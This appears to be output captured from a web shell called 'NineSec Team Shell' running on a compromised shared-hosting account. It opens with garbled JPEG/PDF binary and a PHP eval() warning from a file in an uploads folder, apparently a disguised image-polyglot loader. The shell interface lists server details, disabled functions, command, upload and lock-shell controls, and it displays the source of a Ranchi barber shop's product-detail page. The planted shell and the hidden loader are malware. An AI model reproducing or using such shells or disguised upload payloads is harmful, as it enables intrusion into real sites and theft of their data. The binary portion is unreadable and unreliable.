JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/prince.ranchihairsalon.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/prince.ranchihairsalon.com/public_html/product-detail.php
<?php
// Start session
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Get product ID from URL
$product_id = isset($_GET['id']) ? intval($_GET['id']) : 0;

if ($product_id === 0) {
    header('Location: products');
    exit();
}

require_once 'includes/config.php';

// Fetch product details
try {
    $stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
    $stmt->execute([$product_id]);
    $product = $stmt->fetch(PDO::FETCH_ASSOC);
    
    if (!$product) {
        header('Location: products');
        exit();
    }
    
    // Category information
    $category_info = [
        'hair_patch' => [
            'name' => 'Hair Patch',
            'icon' => 'fas fa-hair-alt',
            'color' => '#3498db',
            'seo_name' => 'Hair Patch',
            'description' => 'Premium hair patches in Lalpur, Ranchi'
        ],
        'hair_wig' => [
            'name' => 'Hair Wig',
            'icon' => 'fas fa-user-tie',
            'color' => '#2ecc71',
            'seo_name' => 'Hair Wig',
            'description' => 'Quality hair wigs in Lalpur, Ranchi'
        ],
        'hair_product' => [
            'name' => 'Hair Care Product',
            'icon' => 'fas fa-shampoo',
            'color' => '#9b59b6',
            'seo_name' => 'Hair Care',
            'description' => 'Hair care products in Lalpur, Ranchi'
        ],
        'beauty_product' => [
            'name' => 'Beauty Product',
            'icon' => 'fas fa-spa',
            'color' => '#f39c12',
            'seo_name' => 'Beauty',
            'description' => 'Beauty products in Lalpur, Ranchi'
        ]
    ];
    
    $category_data = $category_info[$product['category']] ?? [
        'name' => 'Product',
        'icon' => 'fas fa-box',
        'color' => '#000',
        'seo_name' => 'Product',
        'description' => 'Premium products in Lalpur, Ranchi'
    ];
    
    $seo_category = $category_data['seo_name'];
    $current_price = $product['discounted_price'] ?: $product['price'];
    
    // Set SEO variables
    $page_title = $product['product_name'] . " in Lalpur, Ranchi | ₹" . $current_price . " | Prince the Barber";
    $meta_description = "Buy " . $product['product_name'] . " in Lalpur, Ranchi at ₹" . $current_price . ". Premium quality " . $seo_category . " at Prince the Barber. Free consultation, same day delivery. Call 90319 99993";
    $meta_keywords = $product['product_name'] . ", " . $product['product_name'] . " in Lalpur, " . $product['product_name'] . " in Ranchi, buy " . $seo_category . " Ranchi, hair products Lalpur, Prince the Barber " . $product['product_name'];
    
} catch(Exception $e) {
    header('Location: products');
    exit();
}

// Include header with SEO variables
require_once 'includes/header.php';
?>

<!-- Structured Data for Product -->
<script type="application/ld+json">
{
    "@context": "https://schema.org",
    "@type": "Product",
    "name": "<?php echo addslashes($product['product_name']); ?>",
    "description": "<?php echo addslashes($product['description']); ?>",
    "category": "<?php echo addslashes($seo_category); ?>",
    "brand": {
        "@type": "Brand",
        "name": "<?php echo addslashes($product['brand'] ?: 'Prince the Barber'); ?>"
    },
    "offers": {
        "@type": "Offer",
        "price": "<?php echo $current_price; ?>",
        "priceCurrency": "INR",
        "availability": "https://schema.org/<?php echo ($product['stock_quantity'] > 0) ? 'InStock' : 'OutOfStock'; ?>",
        "seller": {
            "@type": "LocalBusiness",
            "name": "Prince the Barber",
            "address": {
                "@type": "PostalAddress",
                "addressLocality": "Lalpur, Ranchi"
            },
            "telephone": "+919031999993"
        }
    },
    "image": "<?php echo $product['image_url'] ?: 'https://prince.ranchihairsalon.com/assets/images/product-placeholder.jpg'; ?>",
    "aggregateRating": {
        "@type": "AggregateRating",
        "ratingValue": "4.5",
        "reviewCount": "25"
    }
}
</script>

<!-- Breadcrumb -->
<nav aria-label="breadcrumb" class="bg-light py-3">
    <div class="container">
        <ol class="breadcrumb mb-0">
            <li class="breadcrumb-item"><a href="index">Home</a></li>
            <li class="breadcrumb-item"><a href="products">Products</a></li>
            <li class="breadcrumb-item">
                <a href="products?category=<?php echo $product['category']; ?>">
                    <?php echo $category_data['name']; ?>
                </a>
            </li>
            <li class="breadcrumb-item active" aria-current="page"><?php echo htmlspecialchars($product['product_name']); ?></li>
        </ol>
    </div>
</nav>

<!-- Product Detail -->
<section class="py-5">
    <div class="container">
        <div class="row">
            <!-- Product Images -->
            <div class="col-lg-6 mb-5 mb-lg-0">
                <!-- Main Image -->
                <div class="main-image mb-4">
                    <div class="card border-0 shadow-lg rounded-3 overflow-hidden">
                        <img src="<?php echo $product['image_url'] ?: 'assets/images/product-placeholder.jpg'; ?>" 
                             class="card-img-top img-fluid w-100" 
                             alt="<?php echo htmlspecialchars($product['product_name']); ?> - Prince the Barber Lalpur"
                             id="mainProductImage"
                             style="max-height: 500px; object-fit: contain;">
                        <?php if($product['featured']): ?>
                        <div class="position-absolute top-0 start-0 m-3">
                            <span class="badge bg-warning px-3 py-2">
                                <i class="fas fa-star me-1"></i> Featured Product
                            </span>
                        </div>
                        <?php endif; ?>
                    </div>
                </div>
                
                <!-- Thumbnails -->
                <?php 
                $additional_images = !empty($product['additional_images']) ? json_decode($product['additional_images'], true) : [];
                if(is_array($additional_images) && count($additional_images) > 0):
                ?>
                <div class="thumbnail-gallery">
                    <h6 class="mb-3">More Views</h6>
                    <div class="row g-2">
                        <?php foreach($additional_images as $index => $img): ?>
                        <div class="col-3">
                            <a href="javascript:void(0)" class="thumbnail-item" data-image="<?php echo $img; ?>">
                                <img src="<?php echo $img; ?>" 
                                     class="img-fluid rounded border cursor-pointer"
                                     alt="<?php echo htmlspecialchars($product['product_name']); ?> view <?php echo $index + 1; ?> Lalpur Ranchi"
                                     style="height: 80px; object-fit: cover;">
                            </a>
                        </div>
                        <?php endforeach; ?>
                    </div>
                </div>
                <?php endif; ?>
            </div>
            
            <!-- Product Information -->
            <div class="col-lg-6">
                <div class="product-info ps-lg-4">
                    <!-- Category & Status -->
                    <div class="d-flex justify-content-between align-items-start mb-3">
                        <div>
                            <span class="badge px-3 py-2 mb-2" 
                                  style="background-color: <?php echo $category_data['color']; ?>; color: white;">
                                <i class="<?php echo $category_data['icon']; ?> me-1"></i>
                                <?php echo $category_data['name']; ?>
                            </span>
                            <?php if($product['discounted_price']): ?>
                            <span class="badge bg-danger px-3 py-2 ms-2">
                                <i class="fas fa-fire me-1"></i> Special Offer
                            </span>
                            <?php endif; ?>
                        </div>
                        <a href="products" class="btn btn-outline-secondary btn-sm">
                            <i class="fas fa-arrow-left me-1"></i> Back to Products
                        </a>
                    </div>
                    
                    <!-- Product Title -->
                    <h1 class="h2 mb-3 fw-bold">
                        <?php echo htmlspecialchars($product['product_name']); ?>
                    </h1>
                    
                    <!-- Brand -->
                    <?php if($product['brand']): ?>
                    <div class="brand-info mb-3">
                        <span class="text-muted me-2">Brand:</span>
                        <span class="badge bg-light text-dark border px-3 py-1">
                            <i class="fas fa-copyright me-1"></i> <?php echo $product['brand']; ?>
                        </span>
                    </div>
                    <?php endif; ?>
                    
                    <!-- Ratings -->
                    <div class="ratings mb-4">
                        <div class="d-flex align-items-center">
                            <div class="text-warning me-2">
                                <i class="fas fa-star"></i>
                                <i class="fas fa-star"></i>
                                <i class="fas fa-star"></i>
                                <i class="fas fa-star"></i>
                                <i class="fas fa-star-half-alt"></i>
                            </div>
                            <span class="text-muted ms-2">4.5/5 (25+ customer reviews)</span>
                        </div>
                    </div>
                    
                    <!-- Pricing -->
                    <div class="pricing-card mb-4 p-4 bg-light rounded-3">
                        <div class="d-flex align-items-center">
                            <?php if($product['discounted_price']): ?>
                            <div>
                                <h2 class="text-primary mb-0 fw-bold display-5">
                                    ₹<?php echo $product['discounted_price']; ?>
                                </h2>
                                <div class="d-flex align-items-center mt-2">
                                    <del class="text-muted h4 me-3">₹<?php echo $product['price']; ?></del>
                                    <span class="badge bg-success px-3 py-2">
                                        Save ₹<?php echo ($product['price'] - $product['discounted_price']); ?>
                                    </span>
                                </div>
                            </div>
                            <?php else: ?>
                            <h2 class="text-primary mb-0 fw-bold display-5">₹<?php echo $product['price']; ?></h2>
                            <?php endif; ?>
                        </div>
                        <p class="text-muted mb-0 mt-2">
                            <i class="fas fa-info-circle me-1"></i>
                            Inclusive of all taxes. Free delivery in Lalpur, Ranchi.
                        </p>
                    </div>
                    
                    <!-- Stock Status -->
                    <div class="stock-status mb-4">
                        <?php if($product['stock_quantity'] > 0): ?>
                        <div class="alert alert-success d-flex align-items-center py-3">
                            <i class="fas fa-check-circle fa-2x me-3 text-success"></i>
                            <div>
                                <h5 class="mb-1">In Stock</h5>
                                <p class="mb-0"><?php echo $product['stock_quantity']; ?> units available</p>
                                <small class="text-muted">Same day delivery available in Lalpur, Ranchi</small>
                            </div>
                        </div>
                        <?php else: ?>
                        <div class="alert alert-warning d-flex align-items-center py-3">
                            <i class="fas fa-clock fa-2x me-3 text-warning"></i>
                            <div>
                                <h5 class="mb-1">Out of Stock</h5>
                                <p class="mb-0">Expected restock soon</p>
                                <small class="text-muted">Contact us for pre-order options</small>
                            </div>
                        </div>
                        <?php endif; ?>
                    </div>
                    
                    <!-- Key Features -->
                    <div class="key-features mb-4">
                        <h5 class="mb-3">
                            <i class="fas fa-bolt text-warning me-2"></i>
                            Key Features
                        </h5>
                        <div class="row g-2">
                            <div class="col-6">
                                <div class="d-flex align-items-center p-3 bg-light rounded">
                                    <i class="fas fa-shipping-fast text-primary me-2"></i>
                                    <span>Same Day Delivery</span>
                                </div>
                            </div>
                            <div class="col-6">
                                <div class="d-flex align-items-center p-3 bg-light rounded">
                                    <i class="fas fa-certificate text-success me-2"></i>
                                    <span>Quality Guaranteed</span>
                                </div>
                            </div>
                            <div class="col-6">
                                <div class="d-flex align-items-center p-3 bg-light rounded">
                                    <i class="fas fa-headset text-info me-2"></i>
                                    <span>Expert Support</span>
                                </div>
                            </div>
                            <div class="col-6">
                                <div class="d-flex align-items-center p-3 bg-light rounded">
                                    <i class="fas fa-undo text-warning me-2"></i>
                                    <span>Easy Returns</span>
                                </div>
                            </div>
                        </div>
                    </div>
                    
                    <!-- Action Buttons -->
                    <div class="action-buttons mb-4">
                        <h5 class="mb-3">Purchase Options</h5>
                        <div class="d-grid gap-3">
                            <?php if($product['stock_quantity'] > 0): ?>
                            <!-- WhatsApp Purchase -->
                            <a href="https://wa.me/919031999993?text=Hi%20Prince%20the%20Barber%20Lalpur,%20I%20want%20to%20buy%20<?php echo urlencode($product['product_name']); ?>%0A%0AProduct%20ID:%20<?php echo $product['id']; ?>%0APrice:%20₹<?php echo $current_price; ?>%0AQuantity:%201%0A%0APlease%20confirm%20availability%20and%20delivery%20options." 
                               class="btn btn-success btn-lg py-3" target="_blank">
                                <i class="fab fa-whatsapp me-2 fa-lg"></i>
                                <span class="fw-bold">Buy Now on WhatsApp</span>
                            </a>
                            
                            <!-- Phone Order -->
                            <a href="tel:+919031999993" class="btn btn-primary btn-lg py-3">
                                <i class="fas fa-phone-alt me-2 fa-lg"></i>
                                <span class="fw-bold">Call to Order</span>
                            </a>
                            
                            <!-- Online Order -->
                            <?php if(isset($_SESSION['user_id'])): ?>
                            <a href="user/order_product.php?product_id=<?php echo $product['id']; ?>" 
                               class="btn btn-outline-primary btn-lg py-3">
                                <i class="fas fa-shopping-cart me-2 fa-lg"></i>
                                <span class="fw-bold">Order Online</span>
                            </a>
                            <?php else: ?>
                            <a href="auth/register.php?redirect=order_product&product_id=<?php echo $product['id']; ?>" 
                               class="btn btn-outline-primary btn-lg py-3">
                                <i class="fas fa-user-plus me-2 fa-lg"></i>
                                <span class="fw-bold">Register & Order</span>
                            </a>
                            <?php endif; ?>
                            <?php else: ?>
                            <!-- Pre-order Options -->
                            <a href="https://wa.me/919031999993?text=Hi%20Prince%20the%20Barber%20Lalpur,%20I%20want%20to%20pre-order%20<?php echo urlencode($product['product_name']); ?>%0A%0AProduct%20ID:%20<?php echo $product['id']; ?>%0A%0APlease%20notify%20me%20when%20available." 
                               class="btn btn-warning btn-lg py-3" target="_blank">
                                <i class="fab fa-whatsapp me-2 fa-lg"></i>
                                <span class="fw-bold">Pre-order on WhatsApp</span>
                            </a>
                            <a href="products" class="btn btn-outline-secondary btn-lg py-3">
                                <i class="fas fa-search me-2 fa-lg"></i>
                                <span class="fw-bold">Browse Similar Products</span>
                            </a>
                            <?php endif; ?>
                        </div>
                    </div>
                    
                    <!-- Store Info -->
                    <div class="store-info card border-primary">
                        <div class="card-header bg-primary text-white">
                            <i class="fas fa-map-marker-alt me-2"></i>
                            Available at Our Lalpur Store
                        </div>
                        <div class="card-body">
                            <h6 class="card-title">Prince the Barber - Lalpur, Ranchi</h6>
                            <p class="card-text small mb-2">
                                <i class="fas fa-clock text-warning me-2"></i>
                                <strong>Store Hours:</strong> 10:00 AM - 8:00 PM (Daily)
                            </p>
                            <p class="card-text small mb-3">
                                <i class="fas fa-parking text-success me-2"></i>
                                <strong>Parking:</strong> Available for Customers
                            </p>
                            <a href="https://maps.google.com/?q=Prince+the+Barber+Lalpur+Ranchi" 
                               class="btn btn-sm btn-outline-primary" target="_blank">
                                <i class="fas fa-directions me-1"></i> Get Directions
                            </a>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        
        <!-- Product Details Tabs -->
        <div class="row mt-5">
            <div class="col-12">
                <div class="card border-0 shadow-sm">
                    <div class="card-body p-0">
                        <ul class="nav nav-tabs nav-fill" id="productTab" role="tablist">
                            <li class="nav-item" role="presentation">
                                <button class="nav-link active py-3" id="description-tab" data-bs-toggle="tab" 
                                        data-bs-target="#description" type="button" role="tab">
                                    <i class="fas fa-info-circle me-2"></i> Description
                                </button>
                            </li>
                            <li class="nav-item" role="presentation">
                                <button class="nav-link py-3" id="specifications-tab" data-bs-toggle="tab" 
                                        data-bs-target="#specifications" type="button" role="tab">
                                    <i class="fas fa-list-alt me-2"></i> Specifications
                                </button>
                            </li>
                            <li class="nav-item" role="presentation">
                                <button class="nav-link py-3" id="delivery-tab" data-bs-toggle="tab" 
                                        data-bs-target="#delivery" type="button" role="tab">
                                    <i class="fas fa-truck me-2"></i> Delivery Info
                                </button>
                            </li>
                        </ul>
                        
                        <div class="tab-content p-4" id="productTabContent">
                            <!-- Description Tab -->
                            <div class="tab-pane fade show active" id="description" role="tabpanel">
                                <h3 class="mb-4">About <?php echo htmlspecialchars($product['product_name']); ?></h3>
                                <div class="description-content">
                                    <?php echo nl2br(htmlspecialchars($product['description'])); ?>
                                    
                                    <!-- SEO Content -->
                                    <div class="mt-4 p-4 bg-light rounded">
                                        <h4 class="mb-3">
                                            <?php echo htmlspecialchars($product['product_name']); ?> - Best in Lalpur, Ranchi
                                        </h4>
                                        <p>
                                            Looking for <strong><?php echo htmlspecialchars($product['product_name']); ?></strong> 
                                            in <strong>Lalpur, Ranchi</strong>? Prince the Barber offers premium quality 
                                            <?php echo strtolower($seo_category); ?> that delivers exceptional results. 
                                            Our products are carefully selected to meet the highest standards of quality 
                                            and performance specifically for customers in Ranchi.
                                        </p>
                                        
                                        <h5 class="mt-4 mb-3">Why Buy from Prince the Barber, Lalpur?</h5>
                                        <div class="row">
                                            <div class="col-md-6">
                                                <ul class="list-unstyled">
                                                    <li class="mb-2">
                                                        <i class="fas fa-check-circle text-success me-2"></i>
                                                        <strong>Local Store Advantage:</strong> Visit our Lalpur store for free consultation
                                                    </li>
                                                    <li class="mb-2">
                                                        <i class="fas fa-check-circle text-success me-2"></i>
                                                        <strong>Same Day Delivery:</strong> Quick delivery across Ranchi
                                                    </li>
                                                </ul>
                                            </div>
                                            <div class="col-md-6">
                                                <ul class="list-unstyled">
                                                    <li class="mb-2">
                                                        <i class="fas fa-check-circle text-success me-2"></i>
                                                        <strong>Genuine Products:</strong> 100% authentic with warranty
                                                    </li>
                                                    <li class="mb-2">
                                                        <i class="fas fa-check-circle text-success me-2"></i>
                                                        <strong>Installation Support:</strong> Help with product setup available
                                                    </li>
                                                </ul>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            
                            <!-- Specifications Tab -->
                            <div class="tab-pane fade" id="specifications" role="tabpanel">
                                <h3 class="mb-4">Product Specifications</h3>
                                <?php
                                $specs = !empty($product['specifications']) ? json_decode($product['specifications'], true) : [
                                    'Material' => 'Premium Quality',
                                    'Color' => 'Natural Colors Available',
                                    'Size' => 'Standard',
                                    'Warranty' => '6 Months',
                                    'Country of Origin' => 'India'
                                ];
                                
                                if(is_array($specs)):
                                ?>
                                <div class="table-responsive">
                                    <table class="table table-bordered">
                                        <tbody>
                                            <?php foreach($specs as $key => $value): ?>
                                            <tr>
                                                <th width="40%" class="bg-light"><?php echo htmlspecialchars($key); ?></th>
                                                <td><?php echo htmlspecialchars($value); ?></td>
                                            </tr>
                                            <?php endforeach; ?>
                                        </tbody>
                                    </table>
                                </div>
                                <?php endif; ?>
                            </div>
                            
                            <!-- Delivery Tab -->
                            <div class="tab-pane fade" id="delivery" role="tabpanel">
                                <h3 class="mb-4">Delivery Information</h3>
                                <div class="row">
                                    <div class="col-md-6">
                                        <div class="card border-success mb-3">
                                            <div class="card-header bg-success text-white">
                                                <i class="fas fa-shipping-fast me-2"></i>
                                                Lalpur, Ranchi Delivery
                                            </div>
                                            <div class="card-body">
                                                <h5>Same Day Delivery</h5>
                                                <ul>
                                                    <li>Orders before 2 PM - Same day delivery</li>
                                                    <li>Orders after 2 PM - Next day delivery</li>
                                                    <li>Free delivery within Lalpur area</li>
                                                    <li>Cash on delivery available</li>
                                                </ul>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="col-md-6">
                                        <div class="card border-primary mb-3">
                                            <div class="card-header bg-primary text-white">
                                                <i class="fas fa-truck me-2"></i>
                                                Other Areas in Ranchi
                                            </div>
                                            <div class="card-body">
                                                <h5>Next Day Delivery</h5>
                                                <ul>
                                                    <li>All areas in Ranchi covered</li>
                                                    <li>Delivery within 24 hours</li>
                                                    <li>Delivery charges: ₹50 (Free above ₹500)</li>
                                                    <li>Track your order via WhatsApp</li>
                                                </ul>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        
        <!-- Related Products -->
        <?php
        $stmt_related = $pdo->prepare("SELECT * FROM products WHERE category = ? AND id != ? ORDER BY RAND() LIMIT 4");
        $stmt_related->execute([$product['category'], $product['id']]);
        $related_products = $stmt_related->fetchAll(PDO::FETCH_ASSOC);
        
        if(count($related_products) > 0):
        ?>
        <div class="row mt-5">
            <div class="col-12">
                <div class="d-flex justify-content-between align-items-center mb-4">
                    <h2 class="mb-0">Related Products</h2>
                    <a href="products?category=<?php echo $product['category']; ?>" 
                       class="btn btn-outline-primary">
                        View All <?php echo $category_data['name']; ?>
                    </a>
                </div>
                <div class="row">
                    <?php foreach($related_products as $related): 
                        $related_slug = !empty($related['slug']) ? $related['slug'] : strtolower(trim(preg_replace('/[^A-Za-z0-9-]+/', '-', $related['product_name'])));
                        $related_url = "product/" . $related_slug . "-" . $related['id'] . "-in-lalpur-ranchi";
                        $related_price = $related['discounted_price'] ?: $related['price'];
                    ?>
                    <div class="col-lg-3 col-md-6 mb-4">
                        <div class="card h-100 border-0 shadow-sm hover-lift">
                            <div class="position-relative">
                                <a href="<?php echo $related_url; ?>">
                                    <img src="<?php echo $related['image_url'] ?: 'assets/images/product-placeholder.jpg'; ?>" 
                                         class="card-img-top" 
                                         alt="<?php echo htmlspecialchars($related['product_name']); ?> in Lalpur, Ranchi"
                                         style="height: 200px; object-fit: cover;">
                                </a>
                            </div>
                            <div class="card-body">
                                <h6 class="card-title">
                                    <a href="<?php echo $related_url; ?>" class="text-decoration-none text-dark">
                                        <?php echo htmlspecialchars($related['product_name']); ?>
                                    </a>
                                </h6>
                                <div class="d-flex justify-content-between align-items-center mt-3">
                                    <span class="text-primary fw-bold">₹<?php echo $related_price; ?></span>
                                    <a href="<?php echo $related_url; ?>" class="btn btn-sm btn-outline-primary">
                                        View Details
                                    </a>
                                </div>
                            </div>
                        </div>
                    </div>
                    <?php endforeach; ?>
                </div>
            </div>
        </div>
        <?php endif; ?>
    </div>
</section>

<!-- CTA Section -->
<section class="py-5 bg-primary text-white">
    <div class="container text-center">
        <h2 class="mb-3">Need Help Choosing the Right Product?</h2>
        <p class="lead mb-4">Our experts at Prince the Barber, Lalpur can guide you to the perfect choice</p>
        <div class="d-flex justify-content-center gap-3 flex-wrap">
            <a href="https://wa.me/919031999993?text=Hi%20Prince%20the%20Barber%20Lalpur,%20I%20need%20help%20choosing%20the%20right%20hair%20product" 
               class="btn btn-light btn-lg" target="_blank">
                <i class="fab fa-whatsapp me-2"></i> Chat on WhatsApp
            </a>
            <a href="tel:+919031999993" class="btn btn-outline-light btn-lg">
                <i class="fas fa-phone-alt me-2"></i> Call Expert: 90319 99993
            </a>
            <a href="https://maps.google.com/?q=Prince+the+Barber+Lalpur+Ranchi" 
               class="btn btn-outline-light btn-lg" target="_blank">
                <i class="fas fa-map-marker-alt me-2"></i> Visit Our Store
            </a>
        </div>
    </div>
</section>

<!-- JavaScript -->
<script>
document.addEventListener('DOMContentLoaded', function() {
    // Thumbnail click functionality
    const thumbnails = document.querySelectorAll('.thumbnail-item');
    const mainImage = document.getElementById('mainProductImage');
    
    thumbnails.forEach(thumb => {
        thumb.addEventListener('click', function(e) {
            e.preventDefault();
            const newImage = this.getAttribute('data-image');
            mainImage.src = newImage;
            
            // Update active state
            thumbnails.forEach(t => t.classList.remove('active'));
            this.classList.add('active');
        });
    });
});
</script>

<!-- CSS -->
<style>
.hover-lift {
    transition: transform 0.3s ease;
}

.hover-lift:hover {
    transform: translateY(-5px);
}

.thumbnail-item.active img {
    border-color: #0d6efd !important;
    box-shadow: 0 0 0 3px rgba(13, 110, 253, 0.25);
}

.cursor-pointer {
    cursor: pointer;
}

.nav-tabs .nav-link {
    border: none;
    border-bottom: 3px solid transparent;
    color: #6c757d;
    font-weight: 500;
}

.nav-tabs .nav-link.active {
    color: #0d6efd;
    border-bottom: 3px solid #0d6efd;
    background: transparent;
}

@media (max-width: 768px) {
    .display-5 {
        font-size: 2.5rem;
    }
    
    .btn-lg {
        padding: 0.75rem 1rem;
        font-size: 1rem;
    }
}
</style>

<?php require_once 'includes/footer.php'; ?>

NineSec Team - 2022